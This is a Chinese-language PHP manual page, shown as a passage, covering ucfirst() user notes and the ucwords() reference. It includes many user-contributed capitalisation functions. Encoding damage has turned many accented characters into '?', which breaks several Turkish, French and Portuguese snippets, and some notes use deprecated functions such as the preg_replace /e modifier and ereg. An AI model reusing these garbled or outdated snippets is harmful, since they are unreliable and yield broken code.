  • lcfirst() - 使字符串的第一个字符小写
  • strtolower() - 将字符串转化为小写
  • strtoupper() - 将字符串转化为大写
  • ucwords() - 将字符串中每个单词的首字母转换为大写
  • mb_convert_case() - 对字符串进行大小写转换

User Contributed Notes

Ekin 31-Aug-2020 10:39
Using this function for Turkish language is won't work because of multi-byte characters. But you can use some tricks:

<?php
function ucfirst_tr($str) {
    $trMap = ['?'=>'?','ü'=>'ü','?'=>'?','?'=>'i','?'=>'?','?'=>'?','I'=>'?'];
    $str = mb_strtolower(strtr($str, $trMap));
    $first = mb_substr($str, 0, 1);
    $first = strtr($first, array_flip($trMap));
    $first = mb_strtoupper($first);
    return $first . mb_substr($str, 1);
}
?>
divinity76 at gmail dot com 18-Nov-2019 12:59
here is how mb_ucfirst should be implemented in userland

<?php

function mb_ucfirst(string $str, string $encoding = null): string
{
    if ($encoding === null) {
        $encoding = mb_internal_encoding();
    }
    return mb_strtoupper(mb_substr($str, 0, 1, $encoding), $encoding) . mb_substr($str, 1, null, $encoding);
}
?>

(when i wrote this comment, everybody else's attempt got it wrong for one reason or another, for example: some don't allow you to specify encoding, and some defaulted to utf-8 instead of defaulting to mb_internal_encoding() )
Anonymous 23-Aug-2017 12:48
Format the input string:

<?php

function ucsentences($string){
    $parts = preg_split('/([^\.\!\?;]+[\.\!\?;"]+)/', strtolower($string), (-1), PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY);
    $r = '';
    foreach($parts as $key=>$sentence){
        $r .= ucfirst(trim($sentence)) . ' ';
    }
    $r = preg_replace('/\bi\b/', 'I', $r);
    $r = preg_replace_callback('/("[a-z])/', function($m){ return strtoupper($m[0]);}, $r);
    return rtrim($r);
}

$str = 'i\'m not sure. if this is good enough, but i thought: "hey, who know\'s. maybe i am right."';

?>
Outputs:
I'm not sure. If this is good enough, but I thought: "Hey, who know's. Maybe I am right."
nospam at nospam dot com 22-Feb-2017 07:46
Improved method of capitalizing first characters of sentences.
The first two manipulations (double spaces & all caps) are optional so can be removed without harm.

<?php
// return string with first letters of sentences capitalized
function ucsentence($str) {
  if ($str) { // input
    $str = preg_replace('/'.chr(32).chr(32).'+/', chr(32), $str); // recursively replaces all double spaces with a space
    if (($x = substr($str, 0, 10)) && ($x == strtoupper($x))) $str = strtolower($str); // sample of first 10 chars is ALLCAPS so convert $str to lowercase; if always done then any proper capitals would be lost
    $na = array('. ', '! ', '? '); // punctuation needles
    foreach ($na as $n) { // each punctuation needle
      if (strpos($str, $n) !== false) { // punctuation needle found
        $sa = explode($n, $str); // split
        foreach ($sa as $s) $ca[] = ucfirst($s); // capitalize
        $str = implode($n, $ca); // replace $str with rebuilt version
        unset($ca); //  clear for next loop
      }
    }
    return ucfirst(trim($str)); // capitalize first letter in case no punctuation needles found
  }
}
?>

"heLLo EarthLing!" >> "HeLLo EarthLing!"
"I'M MOSTLY. caps!  " >> "I'm mostly. Caps!"
"ALLCAPS" >> "Allcaps"
"i haVe neST.ed punct,u.ation!  sp    A  c es.  and CAPs..  " >> "I haVe neST.ed punct,u.ation! Sp A c es. And CAPs.."
kiprasbal at gmail dot com 16-May-2014 06:34
My version, converst first letter of the first word in the string to uppercase

public function mb_ucfirst($str) {
        $aParts = explode(" ",$str);
        $firstWord = mb_convert_case($aParts[0],MB_CASE_TITLE,"UTF-8");
        unset($aParts[0]);

        return $firstWord." ".implode(" ",$aParts);
    }
mingalevme at gmail dot com 05-Dec-2013 10:32
Implementation of multi-bytes ucfirst for "multiword"-strings (module mbstring is required):

<?php

public static function ucfirst($str)
{
    $str = mb_strtolower($str);
    $words = preg_split('/\b/u', $str, -1, PREG_SPLIT_NO_EMPTY);
    foreach ($words as $word) {
        $ucword = mb_strtoupper(mb_substr($word, 0, 1)) . mb_substr($word, 1);
        $str = str_replace($word, $ucword, $str);
    }
    return $str;
}

?>
Nethor 05-Oct-2012 04:14
Simple but workable solution:

<?php
mb_internal_encoding("UTF-8");  // before calling the function

function utf8_ucfirst($str){
    preg_match_all("~^(.)(.*)$~u", $str, $arr);
    return mb_strtoupper($arr[1][0]).$arr[2][0];
    }
?>
idont at remember dot it 18-May-2012 11:21
In case you need a French version of ucfirst:

"été indien" => "Eté indien"
"?a va?" => "?a va?"

<?php
function frenchUcfirst($v) {
  $lowCase  = "\\xE0\\xE1\\xE2\\xE3\\xE4\\xE5\\xE7\\xE8\\xE9\\xEA\\xEB\\xEC\\xED\\xEE\\xEF";
  $lowCase .= "\\xF1\\xF2\\xF3\\xF4\\xF5\\xF6\\xF8\\xF9\\xFA\\xFB\\xFC\\xFD\\xFF\\u0161";
  $upperCase = "AAAAAA\\xC7EEEEIIIINOOOOOOUUUUYYS";
  return strtoupper(strtr(substr($v, 0, 1), $lowCase, $upperCase)) . substr($v, 1);
}
?>

Note:
- Latin non french accented characters follow the same rule:
"?nd?" => "And?"
- Non ASCII characters in the function are in HEX format to avoid encoding issue...
qeremy [atta] gmail [dotta] com 27-Feb-2012 04:41
A proper Turkish solution;

<?php
function ucfirst_turkish($str) {
    $tmp = preg_split("//u", $str, 2, PREG_SPLIT_NO_EMPTY);
    return mb_convert_case(
        str_replace("i", "?", $tmp[0]), MB_CASE_TITLE, "UTF-8").
        $tmp[1];
}

$str = "iyilik güzelL?K";
echo ucfirst($str) ."\n";   // Iyilik güzelL?K
echo ucfirst_turkish($str); // ?yilik güzelL?K
?>
vlknmtn at gmail dot com 17-Aug-2011 04:31
Turkish solution:

<?php
mb_internal_encoding("UTF-8");
mb_regex_encoding("UTF-8");

function tr_ilkbuyuk($text)
{
    $text = str_replace("I","?",$text);
    $text = mb_strtolower($text, 'UTF-8');

    if($text[0] == "i")
        $tr_text = "?".substr($text, 1);
    else
        $tr_text = mb_convert_case($text, MB_CASE_TITLE, "UTF-8");

    return trim($tr_text);
}

function tr_ucwords($text)
{
    $p = explode(" ",$text);
    if(is_array($p))
    {
        $tr_text = "";
        foreach($p AS $item)
            $tr_text .= " ".tr_ilkbuyuk($item);

        return trim($tr_text);
    }
    else
        return tr_ilkbuyuk($text);
}

$deger = "?i?ll?lsdg";

echo tr_ucwords($deger);

?>
Quicker 10-May-2011 01:53
if you want to ucfirst for utf8 try this one:

<?php
function ucfirst_utf8($stri){
 if($stri{0}>="\xc3")
     return (($stri{1}>="\xa0")?
     ($stri{0}.chr(ord($stri{1})-32)):
     ($stri{0}.$stri{1})).substr($stri,2);
 else return ucfirst($stri);
}
?>

It is quick, not language (but utf8) dependend and does not use any mb-functions such as mb_ucfirst.
pete at namecube dot net 11-Apr-2010 07:08
for anyone wanting to ucfirst each word in a sentence this works for me:

<?php
function ucfirst_sentence($str)
{
    return preg_replace('/\b(\w)/e', 'strtoupper("$1")', $str);
}
?>
wilfried dot loche at fr dot adp dot com 22-Jan-2010 02:22
If someone looks for the equivalent on Oracle DB, here it is: INITCAP. Hope this helps!
octavius 26-Sep-2009 05:18
For lithuanian text with utf-8 encoding I use two functions (thanks [mattalexxpub at gmail dot com] and Svetoslav Marinov)

<?php
function my_ucfirst($string, $e ='utf-8') {
    if (function_exists('mb_strtoupper') && function_exists('mb_substr') && !empty($string)) {
        $string = mb_strtolower($string, $e);
        $upper = mb_strtoupper($string, $e);
            preg_match('#(.)#us', $upper, $matches);
            $string = $matches[1] . mb_substr($string, 1, mb_strlen($string, $e), $e);
    }
    else {
        $string = ucfirst($string);
    }
    return $string;
}

function sentence_case($string) {
    $sentences = preg_split('/([.?!]+)/', $string, -1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE);
    $new_string = '';
    foreach ($sentences as $key => $sentence) {
        $new_string .= ($key & 1) == 0?
            my_ucfirst(strtolower(trim($sentence))) :
            $sentence.' ';
    }
    return trim($new_string);
}
?>
bgschool 30-Jul-2009 04:39
Simple function for use ucfirst with utf-8 encoded cyrylic text

<?php
    public function capitalize_first($str) {
        $line = iconv("UTF-8", "Windows-1251", $str); // convert to windows-1251
        $line = ucfirst($line);
        $line = iconv("Windows-1251", "UTF-8", $line); // convert back to utf-8

        return $line;
    }
?>
svetoslavm at gmail dot com 20-Nov-2008 07:40
For some reason this worked for me.

Mac OS 10.5.1
PHP 5.2.6

<?php
   /**
     * ucfirst UTF-8 aware function
     *
     * @param string $string
     * @return string
     * @see http://ca.php.net/ucfirst
     */
    function my_ucfirst($string, $e ='utf-8') {
        if (function_exists('mb_strtoupper') && function_exists('mb_substr') && !empty($string)) {
            $string = mb_strtolower($string, $e);
            $upper = mb_strtoupper($string, $e);
            preg_match('#(.)#us', $upper, $matches);
            $string = $matches[1] . mb_substr($string, 1, mb_strlen($string, $e), $e);
        } else {
            $string = ucfirst($string);
        }
        return $string;
    }
?>

Svetoslav Marinov
http://slavi.biz
mattalexxpub at gmail dot com 09-Nov-2008 05:10
This is what I use for converting strings to sentence case:

<?php
function sentence_case($string) {
    $sentences = preg_split('/([.?!]+)/', $string, -1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE);
    $new_string = '';
    foreach ($sentences as $key => $sentence) {
        $new_string .= ($key & 1) == 0?
            ucfirst(strtolower(trim($sentence))) :
            $sentence.' ';
    }
    return trim($new_string);
}

print sentence_case('HMM. WOW! WHAT?');

// Outputs: "Hmm. Wow! What?"
?>
prokur.net - there is my email 29-Jun-2008 03:01
I believe that mb_ucfirst will be soon added in PHP, but for now this could be useful
<?php

if (!function_exists('mb_ucfirst') && function_exists('mb_substr')) {
    function mb_ucfirst($string) {
        $string = mb_strtoupper(mb_substr($string, 0, 1)) . mb_substr($string, 1);
        return $string;
    }
}

?>

it also check is mb support enabled or not
charliefortune 20-Feb-2008 03:48
Here's a function to capitalize segments of a name, and put the rest into lower case. You can pass the characters you want to use as delimiters.

i.e. <?php echo nameize("john o'grady-smith"); ?>

returns John O'Grady-Smith

<?php

function nameize($str,$a_char = array("'","-"," ")){
    //$str contains the complete raw name string
    //$a_char is an array containing the characters we use as separators for capitalization. If you don't pass anything, there are three in there as default.
    $string = strtolower($str);
    foreach ($a_char as $temp){
        $pos = strpos($string,$temp);
        if ($pos){
            //we are in the loop because we found one of the special characters in the array, so lets split it up into chunks and capitalize each one.
            $mend = '';
            $a_split = explode($temp,$string);
            foreach ($a_split as $temp2){
                //capitalize each portion of the string which was separated at a special character
                $mend .= ucfirst($temp2).$temp;
                }
            $string = substr($mend,0,-1);
            }
        }
    return ucfirst($string);
    }

?>
webmaster at onmyway dot cz 11-Feb-2008 03:31
Inspired by the lcfirst function a simple mb_lcfirst to cope with multibyte strings:

<?php
function mb_lcfirst($str, $enc = null)
{
  if($enc === null) $enc = mb_internal_encoding();
  return mb_strtolower(mb_substr($str, 0, 1, $enc), $enc).mb_substr($str, 1, mb_strlen($str, $enc), $enc);
}
?>
Uwe 26-Jul-2007 08:08
@adefoor, Ken and Zee

Changing the case can only be done by understanding the text. Take for example "USA", "Sunday", "March", "I am ...", abbreviations like "prob." and so on.
adefoor at gmail dot com 12-Jul-2007 11:57
Ken and zee

One thing I would do to make this more unviersally work would be to add strtolower() around your $sentence.  Doing this will allow you to convert an all caps text block as well as an all lowercase text block.

<?php

function sentence_cap($impexp, $sentence_split) {
    $textbad=explode($impexp, $sentence_split);
    $newtext = array();
    foreach ($textbad as $sentence) {
        $sentencegood=ucfirst(strtolower($sentence));
        $newtext[] = $sentencegood;
    }
    $textgood = implode($impexp, $newtext);
    return $textgood;
}

$text = "this is a sentence. this is another sentence! this is the fourth sentence? no, this is the fourth sentence.";
$text = sentence_cap(". ",$text);
$text = sentence_cap("! ",$text);
$text = sentence_cap("? ",$text);

echo $text; // This is a sentence. This is another sentence! This is the fourth sentence? No, this is the fourth sentence.

?>
Ken Kehler 14-Mar-2007 12:03
@ zee: this should solve your !, ?, and any punctuations you want to add. It can probably be cleaned up a bit.

<?php

function sentence_cap($impexp, $sentence_split) {
    $textbad=explode($impexp, $sentence_split);
    $newtext = array();
    foreach ($textbad as $sentence) {
        $sentencegood=ucfirst($sentence);
        $newtext[] = $sentencegood;
    }
    $textgood = implode($impexp, $newtext);
    return $textgood;
}

$text = "this is a sentence. this is another sentence! this is the fourth sentence? no, this is the fourth sentence.";
$text = sentence_cap(". ",$text);
$text = sentence_cap("! ",$text);
$text = sentence_cap("? ",$text);

echo $text; // This is a sentence. This is another sentence! This is the fourth sentence? No, this is the fourth sentence.

?>
Carel at divers information with dotcom 06-Jan-2007 02:55
I made a small change. Now it takes care of points in numbers

function ucsentence ($string){
   $string = explode ('.', $string);
   $count = count ($string);
   for ($i = 0; $i < $count; $i++){
       $string[$i]  = ucfirst (trim ($string[$i]));
       if ($i > 0){
           if ((ord($string[$i]{0})<48) || (ord($string[$i]{0})>57)) {
              $string[$i] = ' ' . $string[$i];
           }
       }
   }
   $string = implode ('.', $string);
   return $string;
}
26-Oct-2006 07:45
Some simple function for cyrillic and latin letters both:

function rucfirst($str) {
    if(ord(substr($str,0,1))<192) return ucfirst($str);
    else
    return chr(ord(substr($str,0,1))-32).substr($str,1);
}
Michael 12-Sep-2006 06:01
This is what you would expect php to deliver if there was a built-in function named ucsentence.

function ucsentence ($string){
    $string = explode ('.', $string);
    $count = count ($string);
    for ($i = 0; $i < $count; $i++){
        $string[$i]  = ucfirst (trim ($string[$i]));
        if ($i > 0){
            $string[$i] = '&nbsp;&nbsp;' . $string[$i];
        }
    }
    $string = implode ('.', $string);
    return $string;
}
Markus Ernst 31-Mar-2006 12:34
A combination of the below functions to enable ucfirst for multibyte strings in a shared hosting environment (where you can not always count on mbstring to be installed):

<?php
function my_mb_ucfirst($str, $e='utf-8') {
    if (function_exists('mb_strtoupper')) {
        $fc = mb_strtoupper(mb_substr($str, 0, 1, $e), $e);
        return $fc.mb_substr($str, 1, mb_strlen($str, $e), $e);
    }
    else {
        $str = utf8_decode($str);
        $str[0] = strtr($str[0],
            "abcdefghyijklmnopqrstuvwxyz".
            "\x9C\x9A\xE0\xE1\xE2\xE3".
            "\xE4\xE5\xE6\xE7\xE8\xE9".
            "\xEA\xEB\xEC\xED\xEE\xEF".
            "\xF0\xF1\xF2\xF3\xF4\xF5".
            "\xF6\xF8\xF9\xFA\xFB\xFC".
            "\xFE\xFF",
            "ABCDEFGHYIJKLMNOPQRSTUVWXYZ".
            "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
            "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
            "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
            "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
            "\xDB\xDC\xDE\x9F");
        return utf8_encode($str);
    }
}
?>
Bartuc 26-Feb-2006 05:28
Here is the fixed function for Turkish alphabet..

<?php

function uc_first($str){
   $str[0] = strtr($str,
   "abcdefgh?ijklmnopqrstuvwxyz".
   "\x9C\x9A\xE0\xE1\xE2\xE3".
   "\xE4\xE5\xE6\xE7\xE8\xE9".
   "\xEA\xEB\xEC\xED\xEE\xEF".
   "\xF0\xF1\xF2\xF3\xF4\xF5".
   "\xF6\xF8\xF9\xFA\xFB\xFC".
   "\xFE\xFF",
   "ABCDEFGHI?JKLMNOPQRSTUVWXYZ".
   "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
   "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
   "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
   "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
   "\xDB\xDC\xDE\x9F");
   return $str;
}

?>
Markus Ernst 12-Jan-2006 06:39
plemieux' function did not work for me without passing the encoding to every single mb function (despite ini_set('default_charset', 'utf-8') at the top of the script). This is the example that works in my application (PHP 4.3):

<?php
function my_mb_ucfirst($str, $e='utf-8') {
    $fc = mb_strtoupper(mb_substr($str, 0, 1, $e), $e);
    return $fc.mb_substr($str, 1, mb_strlen($str, $e), $e);
}
?>
plemieux 29-Sep-2005 11:05
Simple multi-bytes ucfirst():

<?php
function my_mb_ucfirst($str) {
    $fc = mb_strtoupper(mb_substr($str, 0, 1));
    return $fc.mb_substr($str, 1);
}
?>
info [at] spwdesign [dot] com 23-Jun-2005 12:48
This is a simple code to get all the 'bad words', stored in a database, out of the text. You could use str_ireplace but since that's installed on PHP5 only, this works as well. It strtolowers the text first then places capitals with ucfirst() where it thinks a capital should be placed, at a new sentence. The previous sentence is ended by '. ' then.

<?php
function filter($text){
    $filters=mysql_query("SELECT word,result FROM filter");
    while($filter=mysql_fetch_array($filters)){
        $text=str_replace($filter[word],$filter[result],strtolower($text));
        $parts=explode(". ",$text);
        for($i=0;$i<count($parts);$i++){
            $parts[$i]=ucfirst($parts[$i]);
        }
        $text=implode(". ",$parts);
    }
    return $text;
}
?>
12-Mar-2005 05:11
Ah, the last code were spoiled, here is the fixed one:

<?php

function uc_first($str){
    $str[0] = strtr($str,
    "abcdefghijklmnopqrstuvwxyz".
    "\x9C\x9A\xE0\xE1\xE2\xE3".
    "\xE4\xE5\xE6\xE7\xE8\xE9".
    "\xEA\xEB\xEC\xED\xEE\xEF".
    "\xF0\xF1\xF2\xF3\xF4\xF5".
    "\xF6\xF8\xF9\xFA\xFB\xFC".
    "\xFD\xFE\xFF",
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
    "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
    "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
    "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
    "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
    "\xDB\xDC\xDD\xDE\x9F");
    return $str;
}

?>

So, this function changes also other letters into uppercase, ucfirst() does only change: a-z to: A-Z.
steven at tux dot appstate dot edu 21-Jun-2004 12:14
Note: the return for this function changed in versions 4.3 when a string is passed of length 0.  In <4.2 false is returned and in >4.3 a string of length 0 is returned.

Example:

$name = ucfirst("");
var_dump($name);

$name = ucfirst("owen");
var_dump($name);

Results for <4.2:
bool(false) string(4) "Owen"

Results for >4.3:
string(0) "" string(4) "Owen"
Ami Hughes (ami at mistress dot name) 07-Apr-2004 08:34
In the event you sort of need multiple delimiters to apply the same action to, you can preg_replace this "second delimiter" enveloping it with your actual delimiter.

A for instance, would be if you wanted to use something like Lee's FormatName function in an input box designed for their full name as this script was only designed to check the last name as if it were the entire string.  The problem is that you still want support for double-barreled names and you still want to be able to support the possibility that if the second part of the double-barreled name starts with "mc", that it will still be formatted correctly.

This example does a preg_replace that surrounds the separator with your actual delimiter.  This is just a really quick alternative to writing some bigger fancier blah-blah function.  If there's a shorter, simpler way to do it, feel free to inform me.  (Emphasis on shorter and simpler because that was the whole point of this.) :D

Here's the example.  I've removed Lee's comments as not to confuse them with my own.

<?php

   function FormatName($name=NULL)
   {
       if (empty($name))
           return false;

       $name = strtolower($name);
       $name = preg_replace("[\-]", " - ",$name); // Surround hyphens with our delimiter so our strncmp is accurate
       if (preg_match("/^[a-z]{2,}$/i",$name))  // Simple preg_match if statement
       {

           $names_array = explode(' ',$name);  // Set the delimiter as a space.

           for ($i = 0; $i < count($names_array); $i++)
           {
               if (strncmp($names_array[$i],'mc',2) == 0 || ereg('^[oO]\'[a-zA-Z]',$names_array[$i]))
               {
                   $names_array[$i][2] = strtoupper($names_array[$i][2]);
               }
               $names_array[$i] = ucfirst($names_array[$i]);

           }

           $name = implode(' ',$names_array);
           $name = preg_replace("[ \- ]", "-",$name); //  Remove the extra instances of our delimiter
           return ucwords($name);

       }
   }

?>
bkimble at ebaseweb dot com 08-Jun-2003 05:02
Here is a handy function that makes the first letter of everything in a sentence upercase. I used it to deal with titles of events posted on my website ... I've added exceptions for uppercase words and lowercase words so roman numeral "IV" doesn't get printed as "iv" and words like "a" and "the" and "of" stay lowercase.

function RemoveShouting($string)
{
 $lower_exceptions = array(
        "to" => "1", "a" => "1", "the" => "1", "of" => "1"
 );

 $higher_exceptions = array(
        "I" => "1", "II" => "1", "III" => "1", "IV" => "1",
        "V" => "1", "VI" => "1", "VII" => "1", "VIII" => "1",
        "XI" => "1", "X" => "1"
 );

 $words = split(" ", $string);
 $newwords = array();

 foreach ($words as $word)
 {
        if (!$higher_exceptions[$word])
                $word = strtolower($word);
        if (!$lower_exceptions[$word])
                $word = ucfirst($word);
         array_push($newwords, $word);

 }

 return join(" ", $newwords);
}


将字符串中每个单词的首字母转换为大写

  • ? ucfirst
  • utf8_decode ?
  • PHP Manual
  • 字符串 函数
  • 将字符串中每个单词的首字母转换为大写

ucwords

(PHP 4, PHP 5, PHP 7, PHP 8)

ucwords — 将字符串中每个单词的首字母转换为大写

说明

ucwords(string $string, string $separators = " \t\r\n\f\v"): string

将 string 中每个单词的首字符（如果首字符是介于 "a"（0x61）和 "z"（0x7a）之间的 ASCII 字符）转换为大写字母，并返回这个字符串。

对于此函数，单词是未在 separators 参数列出的字符串。默认情况下，它们是：空格、水平制表符、回车、换行符、换页以及垂直制表符。

要对多字节进行类似的转换，请使用带 MB_CASE_TITLE 模式的 mb_convert_case()。

参数

string

输入字符串。

separators

可选的 separators，包含了单词分割符。

返回值

返回转换后的字符串。

更新日志

版本 | 说明
8.2.0 | 大小写转换不在依赖于使用 setlocale() 设置的区域。只会转换 ASCII 字符。

示例

Example #1 ucwords() 示例

<?php
$foo = 'hello world!';
$foo = ucwords($foo); // Hello World!

$bar = 'HELLO WORLD!';
$bar = ucwords($bar); // HELLO WORLD!
$bar = ucwords(strtolower($bar)); // Hello World!
?>

Example #2 ucwords() 自定义分隔符的例子

<?php
$foo = 'hello|world!';
$bar = ucwords($foo); // Hello|world!

$baz = ucwords($foo, "|"); // Hello|World!
?>

Example #3 带附加分隔符的 ucwords() 示例

<?php
$foo = "mike o'hara";
$bar = ucwords($foo); // Mike O'hara

$baz = ucwords($foo, " \t\r\n\f\v'"); // Mike O'Hara
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • strtoupper() - 将字符串转化为大写
  • strtolower() - 将字符串转化为小写
  • ucfirst() - 将字符串的首字母转换为大写
  • mb_convert_case() - 对字符串进行大小写转换

User Contributed Notes

NOSPAM dot php at my dot jrklein dot com 25-Jul-2020 05:08
Based on code sample originally posted by "Anonymous" on 2005-12-14. The /e modifier is no longer supported by preg_replace(). Rewritten to use preg_replace_callback() instead. Tested with PHP 7.3.

The function below will standardize the capitalization on people's names, addresses, and the titles of reports and essays . Adapt the lists in "$all_uppercase" and "$all_lowercase" to suit the data that you are working with.

function ucwords_title($string, $is_name = false) {
    // Exceptions to standard case conversion
    if ($is_name) {
        $all_uppercase = '';
        $all_lowercase = 'De La|De Las|Der|Van De|Van Der|Vit De|Von|Or|And';
    } else {
        // Addresses, essay titles ... and anything else
        $all_uppercase = 'Us|Ca|Mx|Po|Rr|Se|Sw|Ne|Nw';
        $all_lowercase = 'A|And|As|By|In|Of|Or|To';
    }
    $prefixes = 'Mac|Mc';
    $suffixes = "'S";

    // Trim whitespace and convert to lowercase
    $str = strtolower(trim($string));

    // Capitalize all first letters
    $str = preg_replace_callback('/\\b(\\w)/', function ($m) {
        return strtoupper($m[1]);
    }, $str);

    if ($all_uppercase) {
        // Capitalize acronyms and initialisms (e.g. PHP)
        $str = preg_replace_callback('/\\b(' . $all_uppercase . ')\\b/', function ($m) {
            return strtoupper($m[1]);
        }, $str);
    }
    if ($all_lowercase) {
        // Decapitalize short words (e.g. and)
        if ($is_name) {
            // All occurrences will be changed to lowercase
            $str = preg_replace_callback('/\\b(' . $all_lowercase . ')\\b/', function ($m) {
                return strtolower($m[1]);
            }, $str);
        } else {
            // First and last word will not be changed to lower case (i.e. titles)
            $str = preg_replace_callback('/(?<=\\W)(' . $all_lowercase . ')(?=\\W)/', function ($m) {
                return strtolower($m[1]);
            }, $str);
        }
    }
    if ($prefixes) {
        // Capitalize letter after certain name prefixes (e.g 'Mc')
        $str = preg_replace_callback('/\\b(' . $prefixes . ')(\\w)/', function ($m) {
            return $m[1] . strtoupper($m[2]);
        }, $str);
    }
    if ($suffixes) {
        // Decapitalize certain word suffixes (e.g. 's)
        $str = preg_replace_callback('/(\\w)(' . $suffixes . ')\\b/', function ($m) {
            return $m[1] . strtolower($m[2]);
        }, $str);
    }

    return $str;
}

// A name example
print ucwords_title("MARIE-LOU VAN DER PLANCK-ST.JOHN", true);
// Output: Marie-Lou van der Planc-St.John

// A title example
print ucwords_title("to be or not to be");
// Output: "To Be or Not to Be"
ganzales at inbox dot ru 26-May-2020 01:03
<?php
function mb_ucwords($string, $delimiter = ' (-"[') {
    $result = $upper = '';
    for ($i = 0; $i < mb_strlen($string); $i++) {
        $letter = mb_substr($string, $i, 1);
        $result .= $upper || $i == 0 ? mb_convert_case($letter, MB_CASE_TITLE) : $letter;
        $upper = ($i + 1) < mb_strlen($string) && mb_strpos($delimiter, $letter) !== false ? 1 : 0;
    }
    return $result;
}
?>
@manzoorwanijk 04-Sep-2018 09:39
for PHP < 5.4.32 with $delimiters

function _ucwords( $str, $delimiters = " \t\r\n\f\v" ) {

    $delims = preg_split( '//u', $delimiters, -1, PREG_SPLIT_NO_EMPTY );

    foreach ( $delims as $delim ) {

        if ( false !== strpos( $str, $delim ) ) {

            $str = implode( $delim, array_map( 'ucfirst', explode( $delim, $str ) ) );
        }
    }

    return $str;
}
almino dot melo at gmail dot com 29-Feb-2016 08:36
ucwords for human names in Brazil.
ucwords personalizada para nomes próprios brasileiros.

<?php
    /**
     * ucwords for human names in Brazil
     * Edit from http://php.net/manual/pt_BR/function.ucwords.php#112795
     * @param string $str
     * @param array $delimiters
     * @param array $exceptions Exceptions are words you don't want converted
     * @return string
     */
    function name($str, $delimiters = array(
        " ",
        "-",
        ".",
        "'",
        "O'",
        "Mc",
    ), $exceptions = array(
        "de",
        "do",
        "da",
        "dos",
        "das",
    )) {
        $result = '';

        foreach ($delimiters as $delimiter) {
            # If string has a delimiter
            if (strstr($str, $delimiter)) {

                $ucfirst = array();
                # Apply ucfirst to every word
                foreach (explode($delimiter, mb_strtolower($str)) as $word) {
                    $word = mb_convert_case($word, MB_CASE_TITLE);

                    # Working with exceptions
                    if (in_array(mb_strtoupper($word), $exceptions)) {
                        $word = mb_strtoupper($word);
                    } elseif (in_array(mb_strtolower($word), $exceptions)) {
                        $word = mb_strtolower($word);
                    } elseif (preg_match('/^M{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})$/', mb_strtoupper($word))) {
                        # Is roman numerals? # http://stackoverflow.com/a/267405/437459
                        $word = mb_strtoupper($word);
                    }

                    $ucfirst[] = $word;
                }

                # string's first character uppercased
                $result = implode($delimiter, $ucfirst);
            }
        }

        return $result;
    }
?>
Lech 01-Sep-2015 02:36
This will correct capitalisation in names taking note of special capitalisation for Mc..., Mac..., and O'... Other special cases, of which I am not aware, can be added easily.

This is just a slight improvement on "deepdene at email dot com"'s name_case function... Thank you for original function.

<?php

function name_case($name) {
    if( !$name ) return $name;
    $newname = strtoupper($name[0]);
    $break = false;
    for( $i=1; $i<strlen($name); ++$i ) {
      $subed = substr($name, $i, 1);
      if( ord($subed) > 64 && ord($subed) < 123 || ord($subed) > 48 && ord($subed) < 58 ) {
        if( $break ) {
          $newname .= strtoupper($subed);
        }
        elseif( $i > 1 && in_array(substr($newname, $i-2, 2), array('Mc', 'O\'')) || $i > 2 && in_array(substr($newname, $i-3, 3), array('Mac')) ) {
          $newname .= strtoupper($subed);
        }
        else {
          $newname .= strtolower($subed);
        }
        $break = false;
      }
      else {
        // not a letter - a boundary
        $newname .= $subed;
        $break = true;
      }
    }
    return $newname;

?>
Alex Milkovskyi 13-May-2015 09:22
Convert string to in camel-case, useful for class name patterns:
<?php
/**
   * Convert string to in camel-case, useful for class name patterns.
   *
   * @param $string
   *   Target string.
   *
   * @return string
   *   Camel-case string.
   */
function toCamelCase($string){
    $string = str_replace('-', ' ', $string);
    $string = str_replace('_', ' ', $string);
    $string = ucwords(strtolower($string));
    $string = str_replace(' ', '', $string);
    return $string;
}
?>

Example:
toCamelCase(make_mE camel-case pLEase) will return:
MakeMeCamelCasePlease
Florian 20-Feb-2015 08:03
to convert first letters in a firstname like: "jean-pierre" to "Jean-Pierre":

I simply replace the '-' with a vertical tabulation, because the ucwords() function replace the letter just after it.

so, I use the sentence:
$result=str_replace(chr(11),'-',ucwords(strtolower(str_replace('-',chr(11),$firstname))));
antoniomax at antoniomax dot com 23-Jul-2013 06:04
Para formatar nomes em pt-br:

<?php

    function titleCase($string, $delimiters = array(" ", "-", ".", "'", "O'", "Mc"), $exceptions = array("de", "da", "dos", "das", "do", "I", "II", "III", "IV", "V", "VI"))
    {
        /*
         * Exceptions in lower case are words you don't want converted
         * Exceptions all in upper case are any words you don't want converted to title case
         *   but should be converted to upper case, e.g.:
         *   king henry viii or king henry Viii should be King Henry VIII
         */
        $string = mb_convert_case($string, MB_CASE_TITLE, "UTF-8");
        foreach ($delimiters as $dlnr => $delimiter) {
            $words = explode($delimiter, $string);
            $newwords = array();
            foreach ($words as $wordnr => $word) {
                if (in_array(mb_strtoupper($word, "UTF-8"), $exceptions)) {
                    // check exceptions list for any words that should be in upper case
                    $word = mb_strtoupper($word, "UTF-8");
                } elseif (in_array(mb_strtolower($word, "UTF-8"), $exceptions)) {
                    // check exceptions list for any words that should be in upper case
                    $word = mb_strtolower($word, "UTF-8");
                } elseif (!in_array($word, $exceptions)) {
                    // convert to uppercase (non-utf8 only)
                    $word = ucfirst($word);
                }
                array_push($newwords, $word);
            }
            $string = join($delimiter, $newwords);
       }//foreach
       return $string;
    }

?>

Usage:

<?php
    $s = 'S?O JO?O DOS SANTOS';
    $v = titleCase($s); // 'S?o Jo?o dos Santos'
?>
hrvoj3e at gmail dot com 30-Apr-2013 02:44
UTF-8 Title Case that works for me even with hyphens involved!

$str = '?aa?aa-AAAaaa, BBbb';

